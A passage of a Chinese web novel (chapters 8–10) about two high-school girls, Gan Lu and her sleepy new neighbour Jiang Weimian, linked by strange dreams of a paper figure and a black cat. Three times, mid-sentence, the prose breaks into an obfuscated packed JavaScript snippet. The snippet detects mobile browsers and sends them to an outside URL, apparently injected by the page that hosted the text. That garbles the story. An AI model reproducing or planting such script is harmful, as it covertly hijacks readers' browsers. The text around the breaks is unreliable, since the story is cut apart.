接水口前果然大排长龙。高二总共十五个班,均匀分布在三层楼,甘露他们班偏偏在三楼,这层的饮水机本来就只有两台,还坏了一台,剩下的那台也只有一个凉水口和一个热水口。 陆绮加入了凉水口蜿蜒而漫长的队伍,她不爱喝热水,觉得等水自然放凉是种煎熬。 甘露上完厕所,靠在窗边等陆绮。与她隔了一扇窗的小情侣正旁若无人地观星。 “你看,那颗星星好亮啊。” 男生说。 “对呀。” 女生轻声应和。 甘露抬眼望了望,外面路灯大开,亮度十足,光污染严重到照得云都发白,哪有什么劳什子星星。 甘露向下一落,见灯下孤零地站了个身形瘦高的人,光影此刻正好,斜斜地打下去,把那人的影子拉得很长。 挺有意境。还有点眼熟。 不知道是哪个班的勇士,居然敢不穿校服。 学校风纪抓得严,违规了名字会上通报栏,次数多了就要和年级主任老李面对面谈心。 “走了。”陆绮突然一巴掌拍到甘露背上。 甘露面色古怪:“你刚刚是不是去洗手了……” 陆绮笑而不语。 甘露脱下外套,果然看到上面印着一个湿湿的手印。 “能再幼稚些吗?“甘露反手回了她一个巴掌。 陆绮探头:“在看什么呢?” “嗯……”甘露注意到那个颇有意境的人影已经走远了,她随口说,“看星星。” “得了吧,这天有个屁星星。”陆绮往窗外张望一圈,语气不屑。 甘露拽着她离开了,边走边笑:“这你就不懂了吧,心诚则灵,人家小情侣都能看到呢,你怎么偏偏看不到。快好好反思一下你的问题啊,绮绮。” 陆绮想了会儿,沉痛地说:“啊……如果不愿意闻着厕所味谈恋爱是一种罪。那我大概这辈子都看不到星星了。” 甘露也沉痛地说:“oh,sosad.为你默哀。” 高二加了节晚自习,放学时间往后延迟了半个小时,偏偏学校还要求走读生和住校生保持一致,相当于又加了二十分钟的自习时间,整整多上五十分钟。 等她回到家,老黄狗都懒得理她了。 狗不理牌命苦高中生。 甘露打算先把英语作业写了,她们班额外定了本挺厚的资料,跟块砖头似的,有着和它外表非常匹配的知识的重量,想要背着回家实在费劲。 偏偏英语老师喜欢布置上面的课后题,她一般会先处理好这些物理层面的重量级作业。 回家再翻心爱的数学皇后的牌子,只带走一张小测卷就可以了。 “今天晚上跟我一起走吗?”甘露用笔尾戳了戳陆绮,小声地问。 陆绮指了指前排孔祥宇的位置。 甘露心领神会:“行,那我自己走。” 学生们三三两两走出去,寂静的黑夜涌现了片刻热闹,甘露背着书包走出教学楼,一阵凉风拂面吹来,隐约卷了些淡淡的花香。 她呼吸上两口室外的空气,方才被英语阅读搅得一片混沌的脑子,总算清明了些。 像是从某个世界慢慢褪了出来,会让人心情很好。 8. 甜点 江未眠可以感知到自己在“奔跑”。 她整个人仿佛被生生拍平,眼睛鼻子嘴巴精简地只留下粗浅的线条,单薄如同皮影戏里的一纸画皮。 然后她意识到,她就是那一纸画皮。 身后没有脚步声,安安静静,连一丝一毫鲜活的动静都没有。 却有种被死死盯着的寒意。 四周是粗粝的黑暗,只有靠的很近,才可以勉强看清前面是什么。 她绕过有她人那么粗的桌腿,接着风轻巧地翻过窗户。 扑通——扑通—— 薄如纸翼心脏在胸腔里跳动。 呼哧——呼哧—— 这是她在呼吸吗? 滴答,滴答,滴答。 是窗外的水声。 “它”潜藏在浓稠的黑暗里,贴着地面无声移动,它寸寸逼近,不疾不徐。 在不远不近的身后,不远追,也不停下,好似在玩弄猎物。 一股恶寒爬上“脊背”,水从上方落下,一滴落在她的“手上”,被刀削般的“手掌”分成了两股,滑下,悄无声息地滴落。 湿冷的风拂过“面孔”,激得她浑身一颤。 江未眠跳下窗户,她不能回头,也不敢回头。 追逐梦,追赶、逃亡。 它通常象征现实里悬而未决的压力、避无可避的情绪、未经处理的焦虑,或是潜意识对危险与失控的预警。 潜意识说,停下,如果回头,只要脚步一顿,就意味着不可预料的危险。 脊背绷紧,她要扇开纤薄脆弱的双腿,轻飘飘的,没有丝毫实感的双腿,一直不停地,不停地奔跑。 一场不公平的较量,只有逃亡、没有反击,只有奔逃、没有退路,风在呼啸,水声滴答作响,身后的追逐从未停歇,而她甚至无力“感知”追捕者的真容。 醒。 快醒! 睁眼。 快睁眼! 入目是一片湖蓝,江未眠稍微后退,四周逐渐清晰。那片蓝色是前排的塑料座椅。 花布兜老太太和她的鼻涕精孙子,如胶似漆的男女僵尸同学,永远也醒不来的睡神社畜大叔,阴暗爬行的小李飞刀司机。 以及熟悉的一晃一颠的大龄公交和不太熟悉的克系小玫瑰。 “嗨,小姐。”玫瑰摇叶晃蕊地说,蹦到她的腿上,说道,“好久不见甚是想念呐,你有没有想我。” 江未眠冷酷地回道:“没有。” 这噩梦怎么还续上弦了。 她到底什么时候睡着的? 明明前一秒还在画架前,下一秒却被人惊魂未定地追了小半个晚上,再一眨眼,居然回到250公交上了。 小玫瑰倒是欢快的很。 “既然你诚心诚意地发问了!” “我没问。” “那我就大发慈悲地告诉你。” “快闭嘴。” “我没有嘴。” 江未眠拎着小玫瑰的叶子,把它举到面前,疑惑地挑眉:“对啊,你没有嘴,发声器官在哪里呢?” 她直勾勾的眼神含着恶意:“真好奇啊,要不要拆开看看呢?” “不要哇!”玫瑰尖叫,扭动着挣扎:“不要哇!你难道不想通关吗!” 前面的大叔被玫瑰尖锐的叫声吵到,晃了晃光秃秃的脑袋,半梦半醒地准备醒来。 但也只停留在了“要”阶段。 大叔的脑袋随着毫无避震功能的公交一颠,重重地磕在玻璃上,发出咚地一声闷响,随即歪倒一旁,再次陷入沉睡。 江未眠的头深处其境般有些幻痛,她用手指按住玫瑰的花瓣,无奈地说道:“别吵了。” 她真的不想通关,她想起床。 可她大概睡得跟社畜大叔一样沉,除非闹铃响起,外力强行打破这个梦境,否则单凭她自己的意志,很难醒来。 玫瑰还在苦口婆心地劝她:“来都来了,真的不想通过吗?” 江未眠打量着玫瑰,小家伙鲜活过头,虽然不似人形,但比梦里其他npc智能的多。 “你是什么?” “嗯?”玫瑰疑惑,歪了歪“头”,“我是一朵玫瑰花呀。” “我是说你从哪里来的?” “我又要到哪里去吗?”玫瑰叹了口气,颇为无奈,“这么哲学吗?我回答不了,我只是一朵小玫瑰。” “好吧,”江未眠有些头痛,她也想叹气,“你除了知道这些,还知道什么?” 玫瑰精神抖擞:“我还知道你要怎么才能离开这辆公交!” “哦?” 江未眠漫不经心抬眼:“怎么做?” 玫瑰两片叶子“叉着腰”说道:“你要——” “诱拐这一朵玫瑰!” “诱拐这一朵玫瑰?” “对,这是句密语”甘露点头,“玫瑰是最重要的道具,也可以说是个特殊npc。” 陆绮把手中颇有分量的本子翻得哗哗作响:“你这哪里有玫瑰啊,从小女孩那里拿花不是死局吗?” “有前置条件的,”甘露转着笔,在卷子上勾了个答案,“一共有十二个be结局,其中有七个结局在结束的时候会给你们一个关键词,这些关键词可以连城一句密语。” “然后你回到玫瑰的选择这条线。” 本子上赫然写着: 1接过玫瑰 2拒绝玫瑰 你也可以选择诱拐这一朵玫瑰。 “密语其实也是一个选项,我做了暗示,如果你选择了1,跳转到c选项,”甘露翻到了c选项。 “你看开头,”甘露念道,“你惴惴不安地接过了那只玫瑰,从内心深处,你选择的不是接受,或许等你真正接受的那一天,命运会转向新的道路。” “然后看和选项c,d并列的选项f,前面其实没有任何一条路可以通到f,f是这里埋的一条隐线,专门对应的密语,顺从和抗拒皆非你所愿,也许你最想的是要带着它离开。” “所以生路是选了密语,然后直接跳到f?” “对的呢。” “喂……”陆绮有些无语,“你怎么想的。” “用我聪明不绝顶,永不脱发的脑袋想的,”甘露划掉了一个错误选项,在A和B之间犹豫,最终选了A。 “那为什么叫诱拐一朵玫瑰?” “玫瑰啊……”甘露想了想,回答道:“我那天吃了鲜花饼。” “好随意啊,”陆绮吐槽道,她指着甘露刚选的A说到,“选错了,发量王者卷卷同学。” 这周轮到她们班检查纪律,她和陆绮值班,两个人执法犯法,坐在走廊口纪检专座边写作业边聊天。 正确答案是甘露最先排除的D,详解意料之中的写着略。 也不知道详细个什么,怎么好意思叫自己详解。 甘露郁闷:“为什么是D啊。” 陆绮凑过来扫了眼,“我去问过老张,她说A夸大事实,B和C不符合现实逻辑,所以选D。” 甘露盯着选项,半晌也没看出名堂,只好追问:“你说明白点。” “我没问明白,老张讲着讲着把自己绕进去了,最后老张得出结论……” “这题出的不好。”甘露顺口接道。 陆绮笑了:“你怎么知道?” 甘露划掉了题号:“因为它挑战了发量王者卷卷同学的权威。” 过了会儿,陆绮又拉长声音叫她:“哎,甘露啊。” “怎么了,”甘露看着有些莫名其妙的好友,“别用这种叫魂的方式叫我好吗?” 陆绮放低声音:“你早上和新来的一起过来的吗?” “她是我们家新邻居,早上遇到一起过来了,”甘露说,“我们家对面空了挺久,最近房子又住人了。” 甘露又补一句:“别叫人家新来的,座位表上有名字。” “知道了,”陆绮语气犹豫,“我就是有点意外,新同学看起来……挺特别。” 陆绮说得委婉,江未眠的表现何止是特别,转进来两三天,绝大多数时间都在和周公畅谈,以后脑勺示人,凭一己之力孤立整个班。 全班只有甘露和班长跟她说过几句话。 班长也只是在收发东西时得到一个音节的回应,从未成功开启过第二轮对话。 去社会化相当完美的同学。 “其实你正常音量也没什么,”甘露故意用气音说,“我们现在离她十万八千里远呢。” “我这不是心虚吗,总觉得背后议论人家。”陆绮恢复正常音量。 甘露把英语卷纸收了起来,掏出地理练习册,准备继续埋头苦写。 她变魔法似的拿出来两张数学卷,对着陆绮一指。 “刚从办公室拿的,热乎着呢。” 一张勾画的乱七八糟,但接近满分,另一张虽不潦草,正确率却惹人怜爱。 “什么时候我们能停止这种我拿英语折磨你,你用数学折磨我的苦日子。”陆绮一边对照着甘露的卷子订正,一边哀嚎。 甘露摇头:“道阻且长啊同学。” 晚饭时间夹在两节自习课中间,是个时间不短的小课间,陆绮和张翔宇去操场散步,甘露懒得夹在她们俩中间当电灯泡,随便买了杯粥一个人回了教室。 她喝了两口,皱眉捏了捏手里的一次性粥杯,纸杯边口和盖子错开条缝隙,她干脆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17480572|201711||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 掀开盖子,把吸管抽来搅了两圈。 再尝一口,还是没味道。 今天阿姨忘了放糖。 “怎么了?”江未眠注意到甘露的动作。 周公的vvvvip用户今天难得没去捧场,百无聊赖地趴在桌子上,手里捏着根铅笔,笔耕不辍地勾勾画画,时不时换根型号不一样的铅笔。 “阿姨没放糖,”甘露又喝了一口,“喝着没味道。” 江未眠空着的手在书包里摸索一番,抛过去一样东西。 甘露接住。 “这是什么?” “绿豆糕,齁甜,你把它当成糖加进去试试。” 这个提议勾起了甘露的兴趣。 绿豆糕大概是糕点铺现做的,保质期只有短短五天,一打开包装就可以闻到股甜腻味,甘露隔着包装袋子把绿豆糕捏碎,泡到粥里,本来不算浓稠的黑米粥变得绵密丰满。 甘露尝了一口,顿时瞪大眼睛。 豆沙馅散开后,甜味完美地融入粥里,散不开的酥皮反倒像丰富了口感与层次。 她赞叹道:“你是天才吧。” “谢谢夸奖,”江未眠也拆了一包,慢条斯理地小口吃着,“你喜欢就行。” “这是哪一家的啊?” 江未眠拿出张小票,眯着眼端详,说道:“小票上的字磨花了,看不清店名,就在上学路上,十字路口。” “那家啊,我知道,”甘露把盖子和吸管归位,“他们家鲜花饼很好吃,但没吃过绿豆糕。” “新品,买五送二。”江未眠低头继续写写画画,“估计是研发失败品大甩卖,甜过头了。” 甘露有些好奇江未眠在画什么,但最终也没有多问。 “吃晚饭了吗?”她试着找话题。 甘露没见过江未眠去食堂,这人似乎进化掉了七情六欲,满心满眼只剩下对睡眠的渴望。 “不饿,天天睡觉,也不消耗能量。” 您也知道啊。 甘露点点头,努力思考怎么接下话茬。 十字路口捡到江未眠好像是一场梦,随后两人的关系恢复到不瘟不火不太熟的状态。 甘露不明白江未眠怎么想,更不知道以什么样的态度对待她。 甘露很少会在和人相处的过程中感到无措,江未眠是甘露社交圈里从未有过的类型。 白天的她和夜晚的她像两个人。 晚上的她要更灵动,可能是睡醒了,情感随着睁开的眼皮流回来,也有可能是当时生着病,脆弱的人她总归更像人些,白天的她就像一片摊着的皮。 粥喝到一半,江未眠收起纸笔,她的桌面是标准退学风,桌皮下面压着课表,桌角放着个金属笔筒,里面插了三根铅笔,一根黑笔。 除此之外空荡荡,干净得像只是来串个门,随时准备消失。 江未眠从空荡荡的桌兜里拿出个书本大小的枕头,拍匀里面的棉花。 枕头是用旧了的,布面微微发皱,纯白底上,蓝色线条简单勾勒出一尾小鱼。和江同学的气质莫名相合。 江未眠用胳膊环住枕头,侧脸轻轻压上去,细碎的发丝盖住了小半张脸,呼吸放缓。 甘露掐着表,不到五分钟,江未眠的呼吸变得轻柔有节奏,估计是见着周公他老人家了。 甘露有些郁闷地用吸管磨牙。 真是让人嫉妒的睡眠质量。 挺好,不用想话题了。 晚饭过后,垃圾桶里塞满了塑料袋子,五颜六色的饭盒和纸杯堆成了一座小山,甘露把空粥杯和绿豆糕包装袋稳稳地摞在垃圾山上,垃圾山海拔上升而屹立不倒。 完美。 老李上课前五分钟进班,后脚外带着在操场遛弯消食的陆绮和张翔宇,在老李似笑非笑,耐人寻味的眼神下,两个人一脸心虚地回到座位。 老李在班里悠闲地晃了一圈,所到之处,窸窸窣窣声不断。 他在巡逻中途定住,目光扫过下方课桌,问道:“看霸总小说呢?” 老李声音不大,但在安静的教室还是让所有人听了个清清楚楚,话音一落,有几个同学没忍住笑出声。 看小说太过入迷,完全没注意到老李到来的同学尴尬的合上了书,认错态度良好地把小说双手奉上。老李神色坦然地接收了这本封面花哨的这小说。 一递一接,动作熟练,显然是不止一本小说做了老李手下的亡魂。 老李经过江未眠,脚步顿了顿,最终什么都没做,默默离开了。 老李对江未眠的态度一直挺奇怪,甘露好几次看到老李路过睡神江未眠时,手中厚实的课本蠢蠢欲动,想把她拍醒,但仍未行动。 真的很奇怪。 9. 梦外 甘露舔了下干裂的嘴唇。舌尖划过的地方,带着一丝干涩的粗糙。 好饿。 肚子已经没有力气哀叫了,余留肠胃里一阵阵上涌的尖锐酸痛。 咕咚一声,她艰难地咽了口口水。 半点味道都没有,只觉得自己嘴巴略微发涩发苦。 好饿,像不吃不喝,被逼着做三天三夜的英语阅读理解,身体软绵绵的,四肢仿佛散化成了虚无缥缈的风。 甘露迷迷糊糊地想着:我与鸟语不共戴天。 在意识快要彻底沉下去的时候,她嗅到了一丝清甜。 咕咚,她咽了咽口水。 前面一片漆黑,这混沌空间里唯一亮着的,大概是自己饿到冒着绿光的眼睛。 甘露毫不犹豫,循着那股诱人的香气扑了过去。 那团香香的“食物”出人意料的敏捷,甘露只能凭借嗅觉,在伸手不见五指,不知边界的黑暗中跌跌撞撞地追踪。 不知道从哪里飘来细碎的水滴,细细洒洒地下起了雨,潮湿的水汽混着冷风,干扰了嗅觉,打散了那缕香气。心底一个声音疯狂叫嚣着饥饿,催促她。 咬一口散发香气的东西。 甘露找准香气最浓的方向,猛地向前一扑,张开嘴,狠狠地咬下去,却结结实实咬住了自己的舌头。 “嘶——痛痛痛痛!” 剧烈的痛感冲破了梦境,但梦里极致的饥饿感也一并带到了现实。 甘露早上硬是比平时多吃了一份蒸饺,奶奶看她宛如饿死鬼投胎的样子,又往她包里塞了几条巧克力。 老人家总担心孩子吃不饱,在他们眼里,孩子再大,也还在长身体,永远都有吃不饱的可能。 甘露再三保证,自己在学校一定会好好吃饭,少吃零食,又揉了揉老黄狗的头才背着书包出门。 “早啊。” 甘露打开门,一眼看到了门外的江未眠。 “早,”甘露回道。 她把钥匙放到口袋里,又突然想到自己一边口袋是破的,原地蹦了两下,钥匙顺着破洞,从衣摆直接掉了出来。 她弯腰捡起钥匙,塞到了完好无损的那侧口袋。 江未眠就站在一旁,笑着看甘露在门口手忙脚乱地做广播体操。 “笑什么,不许笑,”甘露揣着兜,“再笑要给一百万。” 江未眠努力绷住脸,没过两秒还是破了功。 “一起走吗?”甘露甩了甩车钥匙,“我开车带你。” 江未眠调侃:“四个轮子的吗?” 甘露故作可惜地摇头,一本正经:“小年轻不要那么物质。” 闻言,江未眠忍不住吐槽道:“您这也不怎么养生啊,黑眼圈都好重。” 早读时甘露明显不在状态,眼皮重得根本抬不起来,脑袋一点一点的。睡神江未眠反倒破天荒地没睡,倒也没在早读,安静地看着甘露一下一下地点头,最后还是忍不住,有些担忧地问:“晚上挖煤去了?困成这样。” “你才挖煤去了,”甘露打了个长长的哈欠,“早读这嗡嗡声本来就催眠。” 陆绮忍不住插嘴,递来一个巴掌大小的镜子,促狭道:“你要不要先看看自己什么鬼样子?” 甘露往镜子里一看,猛然瞪大眼睛:“哇塞,好大两个熊猫眼。” 陆绮调侃道:“那可不嘛亲,你真的要放弃做人这条路,转行去当国宝吗?高考竞争压力再大也不至于不当人吧。” “没有,别贫,”甘露翻了个白眼,吐槽道,“什么转行,这直接是物种变异了,给我发配到动物世界了。” 江未眠忍俊不禁,一脸揶揄:“那我是否有幸得知,熊猫小姐有何烦恼。” 甘露又打了个哈欠,眼角挤出来几滴生理性泪水:“没什么,晚上做梦,有点烦。” “做噩梦了?”江未眠追问。 “算不上噩梦,”甘露摇摇头,准确来说是饿梦,像是胃接管了大脑,“就是在梦里,一直追着个不知道是什么的东西跑,累死了。” 陆绮煞有介事地点点头:“那挺好,还能顺便锻炼身体,一举两得。” 梦里的猫捉老鼠还是太费精力,甘露一整天都晕晕乎乎,看什么都觉得昏昏欲睡,尤其是转头看到后桌,趴在桌上睡得香甜的江未眠,甘露的瞌睡虫更是成窝地被勾了出来,嗷嗷待哺。 甘露是在撑不下去,本来只想趴在桌上眯一小会儿,结果眼睛一闭,瞬间就坠入了黑甜的梦乡。 可能入睡速度也被江未眠传染了,甘露睡前迷迷糊糊地想。 这一次,她可以清晰地意识到,自己是在做梦。 回到了那片纯黑的空间,胃酸翻涌、抽痛发紧的感觉也一并回来了。 甘露有些无奈,命名昨晚饿怕了,天晚饭比平常多吃了一大半,按理说不会再“饿”成这样。 就是有一个讨厌的声音在内心深处固执地重复,好饿啊,要吃东西了,好饿啊,去找点吃的吧。 甘露环顾四周,内心茫然,一片漆黑,根本分不清方向。 东南西北,要走哪面? 去哪里找? 那股熟悉的香甜味道再次飘来,上一次更浓郁、更诱人。 甘露瞬间打起精神,立刻转身,循着香味传来的方向,以不可思议的速度飞奔起来。 她觉得自己成为一阵风,轻,且空。 她在无边的黑暗里快速穿梭。与此同时,头顶再次下起倾盆大雨,豆大的雨点砸在身上 甘露看见一点微弱的亮光。 光线从墙上一个不规则的洞口透过来,像是凿开了一个沉重的世界。 甘露费劲地从狭小的洞里钻过去。 外面是破旧的小巷,荒草丛生,破旧却充满野性的生机。 天灰蒙蒙,下着稀稀拉拉的小雨,地面上积着大大小小的水坑 甘露在波浪闪烁的水坑中看到了自己的倒影。 一只瘦小的黑猫。粉色的鼻子上有一道浅色的伤疤。酷似她们家附近那只消失了很久,一直无人领养的流浪猫。 那股异香再次袭来,比任何一次都要浓郁,甘露舔了舔舌头,快要流出口水。 “它”抬起兽瞳。金黄色的兽瞳锐利又明亮,直直看向前方。 下一秒,它看到了“食物”。 甘露愣住了。 一只灰白的纸扎小人灵活地飘上墙头,纸片做的身体随风晃动,回头瞥了一眼,甘露莫名地从那张简笔画的脸上读出一丝审视意味。 重点是,小人身上散发着蜂蜜香。 刚想迈步去追,纸扎小人却已经灵活地躲进了迷宫一样的高墙矮丛里,瞬间没了踪影。 好饿,已经没有力气动了,甘露沮丧地趴在了洞口。 两堵墙组成的夹脚,罩出一片晦暗的阴影。 不远处的角落,江未眠静静躲在那里,目光平静地注视着趴在绿油油草地上的小黑猫。 送梦走,等梦醒。 很无聊。 黑猫摇了摇尾巴,动作不太灵活地离开了。 耳边忽然传来不属于这个梦境的震动,由模糊变清晰。 江未眠缓缓睁开眼,迎面撞一双熟悉的瞳孔。 眼前小黑猫的虚影轻轻晃了几下,渐渐模糊,最终彻底变成了甘露的脸,近在咫尺。 甘露眯着眼,上下打量了她一番 “怎么了?”江末眠疑感地发问,语气黏糊,带着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17480573|201711||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 让睡醒的沙哑。 “我刚刚做了个梦,”甘露像发现了什么好玩的事,凑了过来。“你想知道吗?” “哦?"江末眠很是配合,“是什么?” “我变成了我们家附近那只流浪猫,在追一个纸扎小人,”她笑着说,“你知道最巧的是什么吗?那个小人穿的衣服,跟你身上这件一模一样,连衣角的小印花都对得上。” 江未眠也笑:“是吗?” 甘露定定地看着江未眠的眼睛,又一次感觉到怪异的熟悉。 离放学还有段时间,甘露不打算写作业,干脆趴在桌上摸鱼,拿着铅笔在纸上涂鸦,寥寥几笔,画出一只小黑猫,和一个小小的纸人。她走的是抽象派,但精准抓住了两者的神韵,画着画着,甘露越觉得纸上的小纸人和江未眠很像,尤其是那种淡淡的、不耐烦的神情,简直是一个模子刻出来的。 是不是哪里见过呢? 即使是萍水相逢,江未眠也绝不是会被轻易忘掉的类型,她的长相称得上惊艳,棱角分明到带上了些攻击性,偏偏性格又是天塌了我睡觉的睡神类型,慵懒感掺着几分破碎,几相结合,形成了江未眠独特的气质。 甘露不觉得自己会忘掉这么有意思的人。 一只小小的纸飞机从后滑过,稳稳地停在桌面上。 飞机的两翼用铅笔端正写着“拆”字。 甘露略带疑惑地打开,上面是一行清秀的字迹: 晚上一起回去吗?——江。 甘露向后比了个ok的手势,又拍了拍陆绮,通知她:“我晚上不和你一起了。” “行,”陆绮干脆答应“那我找孔祥宇。” 张翔宇和陆绮两个人乐颠颠地走了,甘露在心里默默感叹一句女大不中留。 她把自己的作业和信手涂鸦往包里塞,江未眠颇感兴趣地凑过来看了一眼。 “这是什么?” “我的饿梦实录。”甘露对着画上的小纸片人指指点点,“你敢信吗?这小纸人是蜂蜜味的!” “蜂蜜味的啊,”甘露念叨着,“等会拐去小超市买点吃的吗?” “好啊,”江未眠已经收拾好了,背着个干瘪瘪的包,“我请你,谢谢好心的邻居顺路捎我回家。” 甘露欣然接受:“人间自有温情在。” “免得你半夜起来流口水。” “恶语伤人六月寒。” 小超市里东西种类挺齐全,江未眠买了不少,甘露看着她往购物小篮子里塞了些调料,速食,甚至还有一盒鸡蛋,满满当当装了一篮子。 最后两个人拎着大包小包,一起走出超市。 “要来吃夜宵吗?”江未眠侧过头,向甘露发出邀请。 甘露顿时觉得肚子又空了。 她仅犹豫了两秒,就答应了。 江未眠家里很干净,干净得空荡荡,没什么人气,看起来像是间随时可以出租的样板房,风格和她在学校的课桌如出一辙。 她把书包随意地丢在鞋柜上,转头对甘露说道:“不用换鞋了,直接进来吧。” 甘露把她的包放在旁边,跟着江未眠往厨房走。 江未眠把大包小包提到厨房,打开冰箱:“你想吃什么啊?” 甘露回道:“还可以点餐?这么周到。” “对啊,”江未眠说,“你可以选西红柿面,鸡蛋面,和西红柿鸡蛋面。” “挺丰盛,”甘露笑了起来,“我不挑,你吃什么我吃什么。” “那行,”江未眠从冰箱里拿了两个西红柿,拍板决定,“那吃西红柿鸡蛋面吧。” 厨房的燃气灶开火,锅里的清水慢慢升温,白色的水汽往上蒸腾,锅里的水咕嘟咕嘟地煮开了。 10. 黑猫 布艺沙发旁立着画架,浅木色的架身擦得干干净净,上面贴着一张玫瑰素描。 笔触相当细腻,花瓣用细密的短线层层叠叠勾勒,透露出通透的层次和纹理,背光处留了一丝极淡过渡的亮调,像透过缝隙的光,花茎和皮刺的线条粗粒坚硬,带着冷硬的质感,和柔软的花瓣形成反差。 极简的黑白灰剥离了色彩干扰,没有多余的修饰,反而表现出独特的感情留白。 ‘’喜欢吗?‘’江未眠走过来问道。她刚收拾完餐桌,手上还带着水珠,目光落在画上。 ‘“是你画的吗?”甘露看了许久,如实回答,‘“很漂亮。” ’‘’嗯,‘’只是张随手画的素描,江未眠没有再聊画,岔开了话题转而问甘露:‘‘喝点什么?’’ ‘‘有什么?’’ 甘露沙发上坐下,沙发罩应该是刚送洗过,柔软的布艺沙发陷下去一小块,周身有淡淡的皂角香气。 ‘‘椰子水,矿泉水和菊花茶,’’拉开冰箱门门时带出一阵冷气,江未眠拿出几盒菊花茶,包装上印有一簇相当写实的黄菊花,‘‘外卖送的,有好几盒呢。’’ 甘露调侃:‘‘哪家这么大方,一次送好几盒?’’ ‘‘同一家点了好几次,每次都送,就攒多了,’’江未眠捏着包装盒晃了晃,问道,‘‘你喝吗,我没尝过,不能保证味道,但应该毒不死。’’ 甘露看着那不让人放心的包装,沉默了一会说道:‘‘请给我必然不会毒死我的矿泉水,谢谢。’’ 江未眠拿出矿泉水,拧开后倒进一次性纸杯里递过去:‘‘不用客气。’’ 面很快就煮好了,香气弥漫整个客厅,清亮的汤上飘着一层薄油,面煮的软嫩,入口即化,撒上三三两两的葱花,翠绿的点缀汤面。 配菜简单但味道不简单,咸淡适中,鲜香入味,除了有些烫之外挑不出任何毛病。 空瘪的胃被满足,甘露觉得世界美好了几分。 两人用的一次性碗,吃完后也不用洗,江未眠直接收拾好碗筷,丢进厨房的垃圾桶。 “小江。” “在呢。”江未眠擦了擦手,回头看她。 “你从哪里转过来的?” 江未眠有问就答:“沪市。” 甘露音调都上扬了几分,带着惊讶:“沪市?你从沪市那转到这儿啊?” 沪市和沁城相比,高考难度上了不止一星半点,高二转学,教材和考卷都不一样,要补的东西肯定不少。 “在哪都一样。”她满不在乎地说,甘露也贴心地没有追问,听这表述就知道另有隐情,再问就有些尴尬了。 江未眠从一旁的购物袋里翻出两瓶酸奶,问道:“喝吗,有草莓味和原味。” 甘露举手:“我要草莓味。” 两人一人一瓶,悠悠地喝着饭后的酸奶。 桌上除了画笔与画纸,还放了几张练习卷,各科都有,大部分没有动笔,一片空白,干净得像是刚发下来的新卷子。着墨最多的也只写了不到一半。 甘露拿起最上面的一张数学卷,看了眼标题,挑眉:‘‘这张是前天讲过的周测卷吧?’’ 江未眠点头,斟酌着开口:‘‘我比较爱干净。卷纸白白净净的看着舒心。’’ ‘‘老李同意您的理念吗?’’ 江未眠坦然:‘‘我们在这方面需要求同存异,互相包容。但李老师不怎么愿意包容。’’ 甘露点头:‘‘甘拜下风。’’ 江未眠懒洋洋地靠在沙发上,无奈开口:‘‘善良的邻居,你的数学作业方便借我求一下同吗?’’ ‘‘当然可以,可怜的邻居,’’甘露从书包里翻找活页夹,在里面翻了翻,从里面抽出张卷纸,‘‘不过我只带了这个,其他的都放在学校了。’’ ‘‘谢谢。’’ 活页夹里面不止夹了试卷,还有很多密密麻麻写了很多字的纸页。 “这是什么?”江未眠好奇。 甘露凑过来:“开放性小说,好几个人合编的,你想看吗?” “可以吗?” 甘露点头:“没关系,陆绮和班长也经常借给别人。” 江未眠一页页翻着,看得出写了很久,A4纸厚厚的一沓,上面的文字笔迹各不相同,还有人在旁边用铅笔写了吐槽。 她停留在最新情节,看到公交车站的剧情后挑了挑眉。 这个字迹…… 铅笔批注道:“死神如风,常伴吾身。” “这是您的大作?”她合上那一页,询问甘露。 甘露吸完最后两口酸奶,把空盒子捏扁,探过头:“这部分都是我写的,你要玩玩看吗?” “当然。” 江未眠按照文字提示一步步往下走,剧情全程坑人,江未眠几乎踩遍所有坑,甘露趴在旁边的桌边,撑着下巴,笑眯眯地看着江未眠以各种方式惨死。 ‘‘怎么样?’’甘露眼睛亮亮的,期待地问。 “很精彩。”明明是夸奖,甘露却听出一丝咬牙切齿地意味。 时间不早了,甘露打了个哈欠,江未眠倒是神采奕奕,眼底没丝毫倦意。 ‘‘要回去吗?’’江未眠问,起身帮她拿起书包。 甘露接过,背在肩上:“那我先回去了,作业明天直接帮我带到学校就行。” “嗯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17480574|201711||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。”江未眠温和地点头,站在门口目送她,“做个好梦。” 甘露并没有如愿做好梦。 脑袋昏昏沉沉,连日多梦让睡眠变得漫长又折磨,她又陷入那个逼仄的空间,变成了一只无处可去的小黑猫,只是这次纸人没有出现,没有那抹灰白的影子,连挨饿都挨得如此之孤独。 黑猫跳到残壁,爪子踩在粗糙的砖石上,借着更高的视角眺望,看见灰蒙的天和落了灰的厂房。 墙外有棵树干笔直的松树,枝叶丰盛。 